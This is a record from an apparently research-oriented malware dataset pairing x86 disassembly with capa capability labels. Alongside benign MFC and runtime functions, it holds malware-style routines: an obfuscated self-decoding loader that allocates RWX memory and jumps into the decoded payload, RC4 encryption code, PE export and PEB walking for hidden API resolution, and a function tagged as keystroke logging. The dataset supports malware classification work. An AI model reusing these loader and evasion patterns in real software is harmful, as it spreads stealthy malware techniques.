joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4194da
Capabilities:
Get common file path

Disassembly:
push 8
mov eax, 0x428174
call fcn.00422efe
mov esi, ecx
mov dword [ebp - 0x14], esi
call sub.MFC80.DLL_Ordinal_572
xor edi, edi
mov dword [esi], vtable.CXHTMLStatic.0
mov dword [ebp - 4], edi
mov dword [esi + 0x70], edi
mov dword [esi + 0x6c], vtable.CFont.0
lea ecx, [esi + 0x78]
mov byte [ebp - 4], 1
call sub.MFC80.DLL_Ordinal_530
lea ecx, [esi + 0x8c]
mov byte [ebp - 4], 2
call sub.MFC80.DLL_Ordinal_557
mov ebx, dword [sym.imp.USER32.dll_GetSysColor]
push 0xf
mov byte [ebp - 4], 3
call ebx
push 8
mov dword [esi + 0x54], eax
call ebx
push 0xffffffffffffffff
push edi
lea ecx, [esi + 0x78]
mov dword [esi + 0x58], eax
mov dword [esi + 0x5c], edi
mov dword [esi + 0x60], edi
mov dword [esi + 0x64], edi
mov dword [esi + 0x68], edi
mov dword [esi + 0xa0], edi
mov dword [esi + 0xa4], edi
mov dword [esi + 0xa8], edi
mov dword [esi + 0xac], edi
mov dword [esi + 0x74], edi
call sub.MFC80.DLL_Ordinal_6005
push 0xffffffffffffffff
push edi
lea ecx, [esi + 0x8c]
call sub.MFC80.DLL_Ordinal_6006
lea ecx, [ebp - 0x10]
call dword [sym.imp.MFC80.DLL_Ordinal_310]
push 0x410
push 0x411
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 4
call dword [sym.imp.MFC80.DLL_Ordinal_2468]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
call dword [sym.imp.MFC80.DLL_Ordinal_5403]
push str.winhlp32.exe
lea ecx, [ebp - 0x10]
call dword [sym.imp.MFC80.DLL_Ordinal_911]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
cmp ebx, edi
je 0x4195e1
push 0x6a
push ebx
call dword [sym.imp.USER32.dll_LoadCursorA]
cmp eax, edi
je 0x4195e1
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
mov dword [esi + 0xa8], eax
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x10]
call dword [sym.imp.MFC80.DLL_Ordinal_578]
mov eax, esi
call fcn.00422fd6
ret

Function at 0x41b59b
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8
Function at 0x41bdca
Capabilities:
Link many functions at runtime

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, ecx
push str.DrawThemeParentBackground
push eax
mov dword [esi], vtable.CXPThemeManager.0
mov dword [esi + 4], eax
call edi
push str.OpenThemeData
push dword [esi + 4]
mov dword [esi + 8], eax
call edi
push str.EnableTheming
push dword [esi + 4]
mov dword [esi + 0xc], eax
call edi
push str.GetWindowTheme
push dword [esi + 4]
mov dword [esi + 0x10], eax
call edi
push str.DrawThemeBackground
push dword [esi + 4]
mov dword [esi + 0x14], eax
call edi
push str.DrawThemeText
push dword [esi + 4]
mov dword [esi + 0x18], eax
call edi
push str.DrawThemeIcon
push dword [esi + 4]
mov dword [esi + 0x1c], eax
call edi
push str.DrawThemeEdge
push dword [esi + 4]
mov dword [esi + 0x20], eax
call edi
push str.IsAppThemed
push dword [esi + 4]
mov dword [esi + 0x24], eax
call edi
push str.IsThemeActive
push dword [esi + 4]
mov dword [esi + 0x28], eax
call edi
mov dword [esi + 0x2c], eax
pop edi
mov eax, esi
pop esi
ret 4

Function at 0x41be87
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x43fee0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push ebx
push edi
push 0x94
xor ebx, ebx
lea eax, [ebp - 0x20]
push ebx
push eax
mov edi, ecx
call sub.MSVCR80.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x1c], 5
jne 0x41bed1
cmp dword [ebp - 0x18], 1
jae 0x41bed7
cmp dword [ebp - 0x1c], 6
jb 0x41beec
call dword [edi + 0x28]
test eax, eax
je 0x41beea
call dword [edi + 0x2c]
test eax, eax
je 0x41beea
xor ebx, ebx
inc ebx
jmp 0x41beec
xor ebx, ebx
mov ecx, dword [ebp + 0x74]
pop edi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00422a47
add ebp, 0x78
leave
ret

Function at 0x422a47
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43fee0]
jne 0x422a51
repz ret
jmp fcn.004231e1
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x41ff02
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x41ff11
pop dword [ebp - 0x14]
mov eax, 0x41ff11
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x7793391c
add dword [ebp - 0x24], 0xd6bf0c2f
mov dword [ebp - 0x20], 0xf634a9fb
add dword [ebp - 0x20], 0x3bfea24a
mov dword [ebp - 0x1c], 0x7105f471
add dword [ebp - 0x1c], 0xdb464fbd
mov dword [ebp - 0x18], 0x391ab3c5
add dword [ebp - 0x18], 0xc6e54c3b
lea eax, [ebp - 0x24]
push eax
mov eax, 0x7f3bda53
add eax, 0x81065621
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x18a5c817
add dword [ebp - 0x24], 0x5bcca13f
mov dword [ebp - 0x20], 0x5aa0d71b
add dword [ebp - 0x20], 0xe6cb8a5a
mov dword [ebp - 0x1c], 0xee5a798
add dword [ebp - 0x1c], 0x5489c4d4
mov dword [ebp - 0x18], 0x4861bbf0
sub dword [ebp - 0x18], 0x4861bbf0
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xd77ac7e1
sub eax, 0xd73896bd
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3b6b7
push 0
call eax
mov ecx, 0x3ed6
mov esi, eax
mov edi, 0x148b371b
add edi, 0xebb80ce5
add edi, dword [ebp - 0x14]
mov edx, 0x81224af9
xor dword [ebp - 0x10], eax
mov ebx, dword [edi]
xor dword [ebp - 0x10], 0xa8def7fe
add ebx, edx
add dword [ebp - 0xc], 0x89a605cc
mov dword [esi], ebx
add dword [ebp - 8], 0x628d9a8e
add esi, 0xe8889280
add esi, 0x17776d84
add edi, 4
loop 0x420022
add eax, 0x2595e994
sub eax, 0x2594fb69
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x401cd0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x40e044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40e03c]
sub esp, 4
test ebx, ebx
je 0x401d1b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401d14
test esi, esi
je 0x401d14
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401cf0
mov dword [esp], 0x40e044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401f00
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401f50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402028
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401f8e
cmp eax, 4
jne 0x401fb0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401f9e
cmp edx, 4
je 0x401f9e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401f00
Function at 0x10001300
Capabilities:
Get memory capacity
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xb0
mov eax, 0x476461
mov dword [esp + 0x64], eax
mov eax, esp
lea ecx, [esp + 0x64]
mov dword [eax + 0xc], ecx
mov dword [eax + 0x18], 0x57c
mov dword [eax + 0x14], 0x7f7
mov dword [eax + 0x10], 0xc2
mov dword [eax + 8], 0x476461
mov dword [eax + 4], 0x476461
mov dword [eax], 0xac5855
mov eax, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call eax
sub esp, 0x1c
xor ecx, ecx
lea edx, [esp + 0x68]
mov dword [esp + 0x60], eax
mov dword [esp + 0x5c], edx
mov dword [esp + 0x58], ecx
mov eax, dword [esp + 0x58]
xor ecx, ecx
mov edx, 0x40
mov esi, dword [esp + 0x5c]
mov dword [esp], esi
mov dword [esp + 4], 0
mov dword [esp + 8], 0x40
mov dword [esp + 0x54], eax
mov dword [esp + 0x50], ecx
mov dword [esp + 0x4c], edx
call fcn.10001980
mov eax, esp
lea ecx, [esp + 0x68]
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call eax
sub esp, 4
mov ecx, esp
mov dword [ecx + 4], 0x804
mov dword [ecx], 0xe24f5b
mov ecx, dword [sym.imp.USER32.dll_UnregisterHotKey]
mov dword [esp + 0x48], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx + 4], 0x277
mov dword [ecx], 0x7c7fbf
mov ecx, dword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov dword [esp + 0x44], eax
call ecx
sub esp, 8
xor ecx, ecx
mov dword [esp + 0x40], eax
mov dword [esp + 0x3c], ecx
mov eax, dword [esp + 0x3c]
mov ecx, 0xe
mov dword [esp + 0x38], eax
xor edx, edx
div ecx
cmp edx, 4
jne 0x1000141a
mov eax, esp
mov dword [eax], 0x627ff5
mov eax, dword [sym.imp.KERNEL32.dll_ReleaseActCtx]
call eax
sub esp, 4
mov eax, dword [esp + 0x38]
add eax, 1
cmp eax, 0x1fb
mov dword [esp + 0x3c], eax
jne 0x100013ef
mov eax, esp
mov dword [eax], 0xfeb
mov eax, dword [sym.imp.USER32.dll_SetCaretBlinkTime]
call eax
sub esp, 4
mov ecx, dword [esp + 0x54]
sub ecx, 0xe
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], ecx
je 0x1000149d
jmp 0x10001453
mov eax, dword [esp + 0x54]
sub eax, 0x53
mov dword [esp + 0x2c], eax
jne 0x100014c1
jmp 0x10001462
mov eax, esp
mov dword [eax + 8], 0x3cf
mov dword [eax + 4], 0xbec
mov dword [eax], 0x79e
mov eax, dword [sym.imp.USER32.dll_AttachThreadInput]
call eax
sub esp, 0xc
mov ecx, esp
mov dword [ecx], 0xf60db6
mov ecx, dword [sym.imp.GDI32.dll_CreateHalftonePalette]
mov dword [esp + 0x28], eax
call ecx
sub esp, 4
mov dword [esp + 0x24], eax
mov eax, esp
mov dword [eax + 8], 0xb73992
mov dword [eax + 4], 0xf8deca
mov dword [eax], 0xcb4042
mov eax, dword [sym.imp.GDI32.dll_FillRgn]
call eax
sub esp, 0xc
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x54]
add eax, 1
cmp eax, 0x38
mov dword [esp + 0x58], eax
jne 0x10001364
lea esp, [ebp - 4]
pop esi
pop ebp
ret

Function at 0x10001d8c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001e8d0]
jne 0x10001d96
repz ret
jmp fcn.1000203d
Function at 0x100026bc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 8]
mov dword [0x1001e8a8], 0xadc
mov dword [ebp - 0x10], eax
call fcn.100036c2
xor ecx, ecx
mov edx, eax
mov dword [0x1001e8a8], 0x22d5
mov esi, dword [eax + 0x3c]
mov dword [0x1001e8a8], 0x26ce
mov edi, dword [0x1001e8ac]
mov esi, dword [eax + esi + 0x78]
mov ebx, edx
add ebx, dword [eax + esi + 0x20]
mov dword [0x1001e8a8], 0xeba
mov dword [ebp - 0x14], eax
mov eax, dword [eax + esi + 0x24]
add edi, 0xffffb46e
mov dword [0x1001e8ac], edi
mov edi, dword [ebp - 0x14]
mov edi, dword [edi + esi + 0x18]
cmp edi, 0
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x2c], ecx
je 0x10002770
jmp 0x1000277b
mov al, byte [ebp - 0x2d]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x34]
add edx, 1
mov ah, byte [ebp - 0x35]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x3c], edx
jne 0x100027bf
jmp 0x100027ec
mov eax, dword [ebp - 0x2c]
add esp, 0x4c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, 0xeba
xor ecx, ecx
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x18]
add edx, esi
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
xor esi, esi
add ecx, 0xffffe642
mov edi, dword [ebp - 0x24]
mov ebx, dword [edi + eax*4]
mov dword [0x1001e8a8], ecx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x3c], esi
mov eax, dword [ebp - 0x3c]
mov ecx, eax
mov edx, dword [ebp - 0x50]
add ecx, edx
mov esi, dword [ebp - 0x20]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x2d], bh
mov byte [ebp - 0x35], cl
jne 0x10002745
mov al, byte [ebp - 0x35]
test al, 1
jne 0x10002828
jmp 0x100027f5
xor eax, eax
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov edx, dword [ebp - 0x54]
add edx, 2
mov esi, dword [ebp - 0x1c]
cmp ecx, esi
mov edi, dword [ebp - 0x58]
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x48], ecx
jb 0x10002793
jmp 0x10002770
mov eax, dword [ebp - 0x54]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x28]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x20]
add edi, dword [edx + ecx*4]
mov dword [0x1001e8a8], 0x621
mov dword [ebp - 0x2c], edi
jmp 0x10002770
Function at 0x10002850
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov dword [ebp - 0x10], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 0x10], eax
xor ecx, ecx
mov edx, dword [0x1001e8a8]
mov esi, dword [ebp - 0x10]
mov esi, dword [esi + 0x10]
mov esi, dword [esi + 0x3c]
add edx, 0x441
mov dword [0x1001e8a8], edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], ecx
jmp 0x100028c9
mov dword [0x1001e8a8], 0x17e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x10002929
jmp 0x100028bf
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x1000295a
xor eax, eax
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov ecx, 0x134f
mov edx, dword [ebp - 0x18]
cmp word [edx + eax*2], 0
mov esi, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
je 0x10002908
mov eax, 0xfbb
mov ecx, dword [ebp - 0x24]
add ecx, 1
cmp ecx, 0x104
mov edx, ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
jl 0x100028c9
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov dword [0x1001e8a8], ecx
mov ecx, dword [ebp - 0x18]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
je 0x10002891
jmp 0x100028bf
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x100028bf
mov dword [0x1001e8a8], 0x2232
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x100028ac
jmp 0x100028bf
mov dword [0x1001e8a8], 0xe76
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x100028bf
mov eax, 0x1db0
mov ecx, 0x1043
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x20]
mov di, word [edx + esi*2 - 0xe]
cmp di, 0x6c
sete bl
cmp di, 0x6c
mov byte [ebp - 0x2d], bl
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
je 0x100029aa
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [0x1001e8ac], eax
mov cl, byte [ebp - 0x2d]
and cl, 1
movzx eax, cl
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100029c3
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov esi, 0x1c0d
xor edi, edi
mov dword [0x1001e8a8], 0x1c0d
mov dword [0x1001e8b4], 0
mov byte [0x1001e8b8], 0
mov dword [0x1001e8ac], 0xfffffd77
mov dword [0x1001e8b0], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], edi
jmp 0x10002af0
mov eax, dword [ebp - 0x24]
mov ecx, 0x100
mov dword [ebp - 0x28], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x1001e8bc], 0
mov dword [0x1001e8a8], 0xf78
mov edi, dword [0x1001e8b4]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x28]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x1001e8bc], esi
mov eax, esi
cdq
idiv ecx
mov dword [0x1001e8b4], edx
mov dword [0x1001e8a8], 0x245d
mov ecx, dword [ebp - 0x28]
mov cl, byte [ebx + ecx]
mov byte [0x1001e8b8], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x28]
mov byte [ebx + edx], cl
mov cl, byte [0x1001e8b8]
mov esi, dword [0x1001e8b4]
mov byte [ebx + esi], cl
mov esi, dword [0x1001e8b0]
add esi, 1
mov dword [0x1001e8b0], esi
cmp esi, 0x100
mov dword [ebp - 0x24], esi
jl 0x10002a1f
jmp 0x10002b36
mov eax, dword [0x1001e8a8]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
jmp 0x10002af0
xor eax, eax
mov dword [0x1001e8a8], 0x10b7
mov dword [0x1001e8b0], 0
mov dword [ebp - 0x24], eax
jmp 0x10002a1f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
add ecx, 0xffffd94c
mov edx, eax
mov bl, dl
mov dword [0x1001e8ac], ecx
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], bl
mov eax, dword [0x1001e8ac]
add eax, 0xfffff7d8
mov dword [0x1001e8ac], eax
mov eax, dword [0x1001e8b0]
add eax, 1
mov dword [0x1001e8b0], eax
cmp eax, 0x100
mov dword [ebp - 0x2c], eax
jl 0x10002ac2
jmp 0x10002ad2
mov dword [0x1001e8ac], 0x700
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10002c1d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x1001e8a8], 0x345
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x100058e4]
mov dh, byte [eax + 0x100058b5]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x30], ecx
je 0x10002d16
jmp 0x10002c3f
mov eax, dword [ebp - 0x34]
mov dword [0x1001e8a8], 0xf70
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x38], eax
call fcn.100032e7
xor eax, eax
mov ecx, dword [ebp - 0x38]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x34], ecx
mov dword [0x1001e8a8], 0x118
mov ecx, dword [ebp - 0x38]
mov dword [edx], ecx
mov dword [0x1001e8ac], 0x6b
add ecx, 0x1638
mov esi, dword [ebp - 0x38]
cmp esi, 0
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
je 0x10002d0d
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add esp, 0x50
pop esi
pop ebp
ret
lea eax, [ebp - 0x24]
mov dword [0x1001e8a8], 0x21af
mov dword [0x1001e8ac], 0xbeb
mov dword [ebp - 0x44], eax
call fcn.100034c7
mov dword [esp], eax
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], eax
call fcn.1000240d
mov ecx, dword [0x1001e8a8]
add ecx, 0xfffffd13
mov dword [0x1001e8a8], ecx
cmp eax, 0
mov dword [ebp - 0x34], eax
jne 0x10002c6f
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x10003848
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov edi, 0xfffff3eb
xor ebx, ebx
mov dword [0x1001e8b0], 0
mov dword [0x1001e8b4], 0
mov dword [0x1001e8c0], 0
mov dword [0x1001e8a8], 0xbdd
cmp eax, 0
mov dword [ebp - 0x10], eax
mov eax, ebx
mov dword [ebp - 0x14], eax
mov eax, ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], edi
je 0x100039f4
jmp 0x100038c5
mov eax, dword [ebp - 0x30]
add eax, 0xffffc522
mov dword [ebp - 0x2c], eax
jmp 0x100039f4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov esi, 0x100
mov edi, edx
add edi, 1
mov dword [0x1001e8ac], 0xb6f
add ecx, 1
mov dword [ebp - 0x34], eax
mov eax, ecx
mov dword [ebp - 0x38], edx
cdq
idiv esi
mov dword [0x1001e8b0], edx
mov ecx, dword [ebp - 0x24]
movzx ebx, byte [ecx + edx]
mov ecx, dword [ebp - 0x34]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x3c], edx
cdq
idiv esi
mov dword [0x1001e8b4], edx
mov ecx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x3c]
mov cl, byte [ecx + esi]
mov byte [0x1001e8b8], cl
mov dword [0x1001e8a8], 0x98f
mov ebx, dword [ebp - 0x24]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x1001e8b8]
mov edx, dword [0x1001e8b4]
mov byte [ebx + edx], cl
mov dword [0x1001e8ac], 0x2668
mov edx, dword [0x1001e8b0]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x1001e8b4]
movzx ecx, byte [ebx + ecx]
add ecx, edx
mov dword [0x1001e8ac], 0x15b4
and ecx, 0xff
mov dword [0x1001e8c0], ecx
mov dword [0x1001e8a8], 0x1382
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x38]
xor cl, byte [edx + esi]
mov byte [0x1001e8c4], cl
mov dword [0x1001e8ac], 0xfffff097
mov dword [0x1001e8a8], 0xffffffde
mov edx, dword [ebp - 0x20]
mov byte [edx + esi], cl
mov ecx, dword [0x1001e8a8]
mov edx, ecx
add edx, 0xffffdd14
mov dword [0x1001e8a8], edx
mov edx, dword [ebp - 0x10]
cmp edi, edx
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x30], ecx
je 0x100038b5
mov eax, dword [0x1001e8b4]
mov ecx, dword [0x1001e8b0]
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x28], eax
jmp 0x100038c5
mov eax, dword [ebp - 0x2c]
mov dword [0x1001e8a8], eax
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10003a04
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
lea eax, [esp + 0x80]
lea ecx, [esp + 0x20]
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.1000300f
lea ecx, [0x10002612]
mov edx, dword [esp + 0x80]
mov dword [esp + 0x5c], edx
mov dword [esp + 0x60], 0x152000
mov edx, dword [0x1001e894]
mov dword [esp + 0x7c], edx
mov edx, dword [0x1001e898]
mov dword [esp + 0x48], edx
mov edx, dword [0x1001e89c]
mov dword [esp + 0x70], edx
mov edx, dword [0x1001e8a0]
mov dword [esp + 0x30], edx
mov edx, dword [0x1001e8a4]
mov dword [esp + 0x64], edx
mov dword [0x1001e8ac], 0x1c8e
mov dword [0x1001e8a8], 0xffffff11
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
je 0x10003ab1
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x10003a8e
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
jne 0x10003a9d
mov eax, dword [esp + 0x10]
mov dword [esp + 0x34], eax
mov dword [0x1001e8a8], 0x26ce
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x38], edx
call fcn.10002850
xor ecx, ecx
cmp eax, 0
mov dword [esp + 8], ecx
